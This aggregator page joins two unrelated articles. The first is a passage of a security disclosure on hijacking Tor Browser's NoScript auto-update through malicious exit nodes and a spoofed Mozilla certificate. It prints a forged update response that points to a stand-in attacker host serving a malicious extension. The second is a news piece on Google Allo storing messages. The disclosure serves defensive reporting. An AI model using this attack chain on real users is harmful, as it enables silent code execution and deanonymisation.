Quick financial estimates put the cost to launch such an attack at roughly $100,000 USD for maximum impact. To put in clearer perspective; this attack costs an attacker 0.06 USD per compromised machine given that 1.5 million users operate on Tor at any given time. Ultimately the combination of all vulnerabilities and the resources required to stage such an attack is well within the reach of a nation-state or criminal organization.

Responsible Disclosure Attempts:

This vulnerability was originally described publicly in concept before the initial confirmation of the feasibility of the attack. Reaction to the theoretical disclosure was mocked as non-credible by Micah Lee and Andrea Shepard (individuals associated with the Tor Project Incorporated).

Attack Requirements:

A moderate bar to entry for this attack is set due to the requirement of needing a valid/spoofed TLS certificate for addons.mozilla.org. This is difficult to accomplish but not impossible. Interestingly, this requirement has already been demonstrated as being achievable in 2011 by alleged Iranian hackers who created a fake TLS certificate for addons.mozilla.org. The attack on the TLS certificate for addons.mozilla.org was also analyzed by Jacob Applebaum (former Tor Project Incorporated employee) in great detail.

“There is some suspicion that this action was taken by a state level adversary” — Jacob Applebaum describing the TLS attack against addons.mozilla.org

The other requirement needed is that an attacker needs to operate enough exit nodes to serve a significant portion of the Tor Browser population. Unfortunately, this is not a difficult task at all.

Audit Discoveries:

A security audit was conducted on the Tor Browser auto-update mechanisms to determine if a backdoor or remote code execution attack could be possible.

Typically a secure auto-update process will protect both the communications stream and also individual file integrity by using cryptographic signatures. It was during this analysis of the auto-update process that a vulnerability was discovered.

The method used to update browser extensions was determined to be vulnerable to man-in-the-middle attacks. Additionally it was discovered that Mozilla authorizes independent developers to cryptographically sign browser extensions without review.

“The add-ons signing API, introduced earlier this month [November 2015], will allow for a completely automated signing process” — Kev Needham (Mozilla)

In order to verify the feasibility of the attack chain a custom browser extension was developed to determine if arbitrary code could be executed. This browser extension was then submitted to Mozilla for cryptographic signing and was immediately signed.

An Image Displaying a Mozilla Cryptographically-Signed Extension

In normal operation the auto-update process for Tor Browser extensions occurs as described below:

  • Update requests are sent out at least once every 24 hours
  • An update metadata file is downloaded over HTTPS (some metadata files are cryptographically signed others are not)
  • The extension update is downloaded from addons.mozilla.org and is verified using the update metadata file and Mozilla root signing certificate.
  • If the downloaded file matches the earlier metadata file and is cryptographically signed, then the extension is silently updated without user interaction.

Other Audit Notes:

An attempt to maximize code coverage during the audit was made. There are two general methods for auto-updates in the Tor Browser and both were inspected for vulnerabilities.

The other auto-update method updates the actual browser executable and related files but is entirely protected by cryptographic signatures that are not available to the general public. Our analysis showed that this method is not vulnerable to man-in-the-middle attacks.

Anti-Privacy Implantation at Mass Scale:

At a high-level the attack path can be described by the following:

  • Attacker gains custody of an addons.mozilla.org TLS certificate (wildcard preferred)
  • Attacker begins deployment of malicious exit nodes
  • Attacker intercepts the NoScript extension update traffic for addons.mozilla.org
  • Attacker returns a malicious update metadata file for NoScript to the requesting Tor Browser
  • The malicious extension payload is downloaded and then silently installed without user interaction
  • At this point remote code execution is gained
  • The attacker may use an additional stage to further implant additional software on the machine or to cover any signs of exploitation

This attack can be demonstrated by using Burp Suite and a custom compiled version of the Tor Browser which includes a hardcoded root certificate authority for transparent man-in-the-middle attacks.

NoScript Metadata Update Process:

An initial request to receive the update metadata file is made by the Tor Browser.

GET /update/VersionCheck.php?reqVersion=2&id={73a6fe31-595d-460b-a920-fcc0f8843232}[SHORTENED] HTTP/1.1
Host: versioncheck.addons.mozilla.org
...

The malicious exit node returns the following data after modifying the version, updateLink, and updateHash fields:

HTTP/1.1 200 OK
...
<RDF:Description about="urn:mozilla:extension:{73a6fe31-595d-460b-a920-fcc0f8843232}:2.9.0.14">
<em:version>2.9.0.1337</em:version>
<em:targetApplication>
<RDF:Description>
<em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id>
<em:minVersion>13.0</em:minVersion>
<em:maxVersion>*</em:maxVersion>
<em:updateLink>https://hackedbynsalol.gov/hackedbynsalol-0.0.5-fx.xpi</em:updateLink>
<em:updateInfoURL>https://addons.mozilla.org/versions/updateInfo/1910123/%APP_LOCALE%/</em:updateInfoURL>
<em:updateHash>sha256:6e281b84fc944c5b7f2c1697ed9ab855682b52a95e2189f0102acba941533a9b</em:updateHash>
</RDF:Description>
</em:targetApplication>
</RDF:Description>
</RDF:RDF>

The Tor Browser then sends a GET request for the updated browser extension file and then installs it silently after verifying its cryptographic signature.

GET /hackedbynsalol-0.0.5-fx.xpi HTTP/1.1
Host: hackedbynsalol.gov
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Moz-XPI-Update: 1
Connection: close

Since the browser extension has been validly signed by Mozilla this attack is successful and remote code execution is gained.

Conclusion

It is likely that a well-resourced attacker could weaponize this technique and achieve full-scale compromise of the Tor Browser ecosystem while maintaining a high-level of undetectability.

The above attack chain represents preliminary work and is being disclosed in order for rapid mitigation to occur.

Google backtracks on privacy promise with messaging service Allo

$
0
0

When Google first announced Allo, its newest chat app, there was some controversy around why the service didn’t use end-to-end encryption by default and only in its Incognito mode. The reason for this, Google has always said, was that it needed access to your messages in order to offer services like the Google Assistant and smart replies, all of which depend on knowing what you are talking about (and have talked about in the past).

With the launch of Allo last night, a new issue arose. In an interview with The Verge in May, published the day Allo was announced, Google’s director of engineering for its communications products Erik Kay said that messages would be read by Google’s servers but stored “transiently” and then automatically deleted after a while. Turns out, that’s not actually what Google is doing now that the product has launched.

Allo does store your messages on Google’s servers indefinitely — that is, until you decide to delete them (and even then, the message is still stored until the people you were chatting with also delete their side of the conversation). That’s similar to how it handles your emails and Hangout messages, too, but in the post-Snowden age, expectations about privacy — especially for new products — are higher (and Snowden himself is clearly not an Allo fan either). If messages are stored on Google’s servers, after all, then a government agency could get a warrant and get access to them.

As far as I can see, Google never talked about transient storage in its official announcement, but its spokesperson definitely set the expectation in his pre-launch interview.

The only way to prevent Google from storing Allo chats is by using its Incognito mode, but then you lose all of the features that make Allo an interesting messaging service.

Here is Google’s official statement:

“We’ve given users transparency and control over their data in Google Allo. And our approach is simple — your chat history is saved for you until you choose to delete it. You can delete single messages or entire conversations in Allo. We also provide the option to chat in Incognito mode, where messages are end-to-end encrypted and you can set a timer to automatically delete messages on your device, and the recipient’s, at a set time.”

It’s been a few months since Google first announced Allo and from what we understand, Google hadn’t even really started testing the app yet by the time it made the announcement. What the company realized in the meantime was that some features like smart replies simply didn’t work well unless the algorithms had access to the full chat history, so it had to backtrack on the earlier statement (and maybe hoped nobody would notice).

All of this creates a headache for Google, though. Allo is already a late entrant into the messaging wars, the Google Assistant is getting mixed reviews already, and now one of its most anticipated product launches is once again mired in controversy. While it is true that Google is giving users a choice, it’s clearly steering them toward the less secure option. If you can’t live without the Google Assistant and smart replies, then that’s a trade-off worth making. If all you want is a secure messenger, though, there’s always Signal (which, to bring this full circle, is made by the same company that also partnered with Google to secure the Allo Incognito mode).

Featured Image: Hugh Johnston / EyeEm/Getty Images
Viewing all 25817 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>